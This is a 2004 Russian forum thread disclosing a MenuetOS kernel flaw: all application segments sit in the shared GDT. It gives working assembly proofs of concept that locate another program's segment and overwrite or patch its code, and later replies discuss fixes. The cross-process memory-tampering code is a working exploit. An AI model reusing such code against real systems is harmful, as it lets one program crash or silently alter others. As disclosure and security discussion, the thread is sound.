Page 1 of 1

Найдена «дыра» в защите MeOS

Posted: Sun Aug 08, 2004 7:18 pm
by CodeWorld
Найдена «дыра» в защите MeOS
Автор: Алексей; Дата: 02/08/04; Источник: menuetos.fastbb.ru

Итак, при изучении кода ядра MeOS я обнаружил интересную вещь: все сегменты приложений «сваливаются» в кучу, т.е. в GDT. В результате нет никаких ограничений на то, что приложение «залезет» в память соседней программы, будет там читать и даже ЗАПИСЫВАТЬ данные, затирать участки кода и т.д. Словом, ЛЮБАЯ программа может хозяйничать в адресном пространстве ЛЮБОЙ другой программы как в своем собственном. Это открывает очень большие перспективы в разработке методов взаимодействия приложений, особенно если учесть тот факт, что ошибку эту VT вряд ли теперь исправит: вся логика работы ядра завязана на этой фиче! (Следует отметить, что VT тут не одинок: подобную ошибку в свое время допустила Microsoft в Windows 95).
Итак, для тех кому это интересно.
(Пример см. ниже).

Память в MeOS сегментирована - «нарезана» на отдельные кусочки, СЕГМЕНТЫ. Каждому приложению выделяется свой собственный сегмент (или несколько сегментов), в пределах которых оно может работать почти как захочет. Эти сегменты и составляют адресное пространство приложения. Каждому сегменту соответствует т.н. СЕЛЕКТОР - особое число, что-то вроде номера сегмента. (подробнее - см. документацию). Те сегменты, с которыми может работать программа
определяются только теми селекторами, которые ядро MeOS помещает при запуске программы в регистры cs, ds,ss,fs,gs. Т.е. всё, что нужно сделать для доступа к чужой памяти - записать в эти регистры нужное число-селектор. Но, конечно, не все так просто. Дело в том, что каждый сегмент обладает определенными привилегиями. Часть сегментов, например, принадлежит ядру MeOS. Они привилегированы и попытка загрузить их в сегментные регистры приведет к тому, что MeOS «вырубит» такую программу. Кроме того, далеко не любое число является селектором некоторого сегмента, и попытка загрузить неверный селктор также окончится ринудительным завершением программы. Т.е. перед желающим поработать с памятью соседа встают следующие задачи:
1. Определить программу, с которой он хочет поработать
2. Определить селектор ее сегмента

КАК ЭТО СДЕЛАТЬ (ПРИМЕРЫ).
Вначале разберем простейший пример, я назвал его antip.asm:

Code: Select all

use32 
org 0x0 
db ’MENUET01’ ;стандартный заголовок 
dd 0x01 
dd START 
dd I_END 
dd 0x1000 
dd 0x07ff 
dd 0x0 , 0x0 
START: ;начало 
mov ax,ds ;получим в ax селектор 
;«родного» сегмента 
find_loop: ;цикл поиска 
sub ax,1*8 ;двигаемся вниз по селекторам 
verw ax ;селектор верен? 
jnz find_loop ;нет, идем дальше 
;да, чужой селектор 
mov es,ax ;помещаем его в es 
;ну, теперь затрем чужой код, вызвав глюк 
cld 
mov ecx,1000h ;1000h 
xor esi,esi ;esi=0 
xor edi,edi ;edi=0 
rep movsd ;да, затрем 
I_END: 
Итак, прежде всего мы получим селектор нашего собственного адресного пространства (селекторы - это 16-битные номера, поэтому получим его в ax, а не в eax). Этот пример ищет первый попавшийся чужой сегмент. Поиск осуществляется в цикле find_loop. Прежде всего мы вычитаем 8 («расстояние» между корректными селекторами, см. документацию) и, т.о., получаем в ax уже другой селектор. Однако рано радоваться: найденное значение может не соответствовать никакому сегменту (неверный селектор), или же соответствовать привилегированному сегменту. Для проверки селекторов в процессорах Intel, начиная с i386, введены особые инструкции. Ими
мы и воспользуемся. verw селектор Эта инструкция проверяет, является ли указанное число корректным селектором, и достаточны ли наши привилегии для того, чтобы осуществлять запись в этот сегмент (но не чтение!). Если все в порядке, verw установит флаг zf. Цикл (jnz) идет до тех пор, пока zf не будет установлен. Когда селектор найден, помещаем его в es. Теперь доступ к найденному адресному пространству открыт! Далее, используя movsd, я просто затираю первые 16384 байта (начиная с нулевого адреса) найденной программы. Излишне говорить, что после этого она «отрубится». Выход из нашего примера не нужен - значение ecx подобрано так, чтобы MeOS «отрубила» и нашу программу тоже.

Итак, скомпилируйте в fasm этот пример и запустите его (удобнее - со включенной доской отладки). Вы увидете как эта программа «вырубится», потянув за собой кого-то еще. Но, конечно, это простейший пример. Теперь рассмотрим случай, когда нам нужно найти в памяти строго определенную программу и выполнить с ней некоторые действия. Прежде всего, текст нашей «подопытной» программы, extst.asm.
Ее-то мы и будем искать в памяти:

Code: Select all

use32 
org 0x0 
db ’MENUET01’ 
dd 0x01 
dd START 
dd I_END 
dd 0x100000 
dd 0x7fff0 
dd 0x0 , 0x0 

sign db ’TEST’ ;сигнатура для поиска 

START: ;начало 
jmp $ ;и сразу же - зависание 
red: 
call draw_window 
still: 
mov eax,10 
int 0x40 

cmp eax,1 
je red 
cmp eax,2 
je key 
cmp eax,3 
je button 

jmp still 

key: 
mov eax,2 
int 0x40 
jmp still 

button: 
or eax,-1 
int 0x40 

draw_window: 
mov eax,12 
mov ebx,1 
int 0x40 
mov eax,0 
mov ebx,0*65536+400 
mov ecx,100*65536+50 
mov edx,0x03ffffff 
mov esi,0x805080d0 
mov edi,0x005080d0 
int 0x40 

mov eax,12 
mov ebx,2 
int 0x40 
ret 
I_END: 
Узнаете? Да, это example.asm.
Тут есть лишь 2 важных момента:
1. sign - определяет СИГНАТУРУ - некоторую строку, по которой мы и найдем эту программу в памяти.
2. jmp $ - ассемблерщики знают, что с ЭТИМ сразу после запуска программа намертво зависнет.

Теперь - программа change.asm
Она должна найти нашу «подопытную» и исправить её код так, чтобы она вышла из бесконечного цикла (из зависания):

Code: Select all

use32 
org 0x0 

db ’MENUET01’ 
dd 0x01 
dd START 
dd I_END 
dd 0x1000 
dd 0x07ff 
dd 0x0 , 0x0 

START: ;начало 
mov bx,ds ;получить «родной» селектор 
and bx,0111b ;вычислить 1-й селектор 
mov ecx,2000h ;кол-во селекторов 

find_loop: ;цикл поиска 
add bx,1*8 ;вычислить селектор 
dec ecx ;счетчик цикла 
jz exit_appl ;селекторы кончились,выйти 
verw bx ;запсь возможна? 
jnz find_loop ;нет, ищем дальше 
verr bx ;чтение возможно? 
jnz find_loop ;нет, ишем дальше 
;найдено! 
mov fs,bx ;получим доступ к сегменту 
cmp dword [fs:24h],’TEST’ ;поищем сигнатуру 
jne find_loop ;нет сигнатуры, ищем дальше 
;найдена подопытная! 
mov word [fs:28h],9090h ;исправим ее код 
exit_appl: ;и выйдем. 
mov eax,-1 
int 40h 
I_END: 
Итак, компилируем обе программы. Сначала запустите extst. Она сразу повиснет, при этом весь комп начнет притормаживать. Теперь запустите change. Ура! extst вышла из зависания и выдала свое маленькое окошко! Рассмотрим, что произошло. Прежде всего получаем «родной» селектор. Исходя из него вычисляем первый из корректных селекторов (для этого командой and обнуляем биты индекса селектора, не затрагивая остальные). Далее - тот же цикл поиска: только теперь, наоборот, двигаемся вверх по номерам. Важная деталь: селекторов в MeOS не может быть более 2000h, поэтому если все они уже перечислены, но нужная программа не найдена, остается только выйти... (dec ecx/jz exit_appl) Далее - проверка найденного. Тут нам потребуется и запись, и чтение. Поэтому кроме команды verw используется аналогичная команда verr, которая установит zf, если мы можем читать данные из сегмента с заданным селектором. Найдя подходящий селектор, запишем его в fs. Теперь через fs мы можем получить доступ к чужому адресному пространству. В extst по адресу 24h находится строка TEST, поэтому мы проверяем ее наличие. Если она не найдена, значит, получен не тот селектор, и поиск нужно продолжить. Но если строка найдена, то это означает, что в fs - селектор сегмента программы extst. Сразу после 4-байтовой сигнатуры по адресу 24h+4=28h находится 2-байтовый код команды jmp $. Мы записываем туда 9090h, т.е. nop/nop (нет операции). После чего change завершается, а extst продолжает выполнение, а не висит.

P.S.: Я сейчас как раз готовлю обзорную статью по этой фиче ядра. То, что приведено здесь - простейшие примеры, а ведь так можно, например, получать информацию о программах и даже (над чем я сейчас и работаю) вызывать процедуры, содержащиеся в чужом коде! (чем не DLL?) Хотелось бы прочитать Ваши комментарии к этому сообщению.

С уважением, Алексей.

Posted: Sun Aug 08, 2004 9:02 pm
by Trans
Привет конечно же всем!

Но Хоть кто-нибудь читал на русском MeOS форуме ответ на это?

Если нет, то как говриться - Добро пожаловать.

И так уж для проформы: Зачем дублировать чужие сообщения?
Или может я не понял чего? Так объясните мне, пожалуйста?

Trans.

Posted: Sun Aug 08, 2004 9:33 pm
by CodeWorld
это mike.dld предложил, я поддержал его, интересные посты перенесу сюда

Posted: Sun Aug 08, 2004 9:42 pm
by Trans
Ok!

Т.к. был не в курсе дел, ТО Возражений нет! И приношу свои извинения!

Trans.

Posted: Sun Aug 08, 2004 9:50 pm
by CodeWorld
сто пудов майк автор, если он сказал то правильно а иначе я фашист! =)

Posted: Fri Aug 20, 2004 11:26 pm
by Hex
Интересная фича!По моему такую дыру использует вирус menuet.oxymoron.А вообще надо почитать о этой дыре.Пиши статью быстрее, CodeWorld :)!

Posted: Tue Sep 28, 2004 6:32 pm
by CodeWorld
=)

Posted: Sun Nov 07, 2004 10:23 am
by halyavin
Этого то я и боялся.
А нет ли дыр в 58 функции? Может ли программа считав слишком большой файл выйти за границы своего адресного пространства и записать в чужое? Или указав совершенно не правильный адрес (отрицательный то есть) записать в ядро?

Posted: Sun Nov 07, 2004 1:06 pm
by CodeWorld
а ты это првоверь, и рассскажи =)

Posted: Sun Nov 07, 2004 1:45 pm
by mike.dld
halyavin, отрицательных адресов не бывает, есть большие положительные (-1 = 4294967295) ;) Насчёт 58-й функции не беспокойся - я уже пробовал.

Posted: Thu Nov 11, 2004 2:27 am
by Crazy Corpse
А в минете есть защита?????????????????????????????????????????????
По моему это одна сплошная ДЫРА.
Надо же и оказывается для него существуют вирусы, очень интересно........... какие маразматики их пишут

Posted: Fri Nov 12, 2004 3:04 pm
by CodeWorld
это не дыра, это кривые руки вилле который в осьдеве нехера не шарит, но вовскком случае это работает? =) а ты чем можешь похвастаться?

Posted: Tue Jun 07, 2005 6:20 pm
by kiwi_mani_snova
Выхода из такой ситуации 3:
1) ставить в GDT отдельные таблицы IDT для каждого приложения, где и хранить селекторы...минус - сложно это
2) на лету страницы неактивных приложений в каталоге переводить в кольцо 0..минусы - огромные задержки по времени..
3) для всех процессов и потоков селекторы создавать в кольце 2, а в кольцо 3 переводить только для активного приложения в момент перечения на него...минусы - не забыть в коде ядра написать дополнительный код (перевод из 2-го в 3-е селекторов и обратно)...при попытке нарушения - ошибка привилегий, как и при попытке подключения селекторов ядра из 0-го кольца...
соотвественно, выход №3 - наилучший...

Posted: Tue Jun 07, 2005 6:22 pm
by kiwi_mani_snova
кстати, в ядре Linux 2.6 (или 2.4) для защиты (дополнительной) были реализованы IDT для каждого приложения..а до этого - все селекторы в одной GDT..))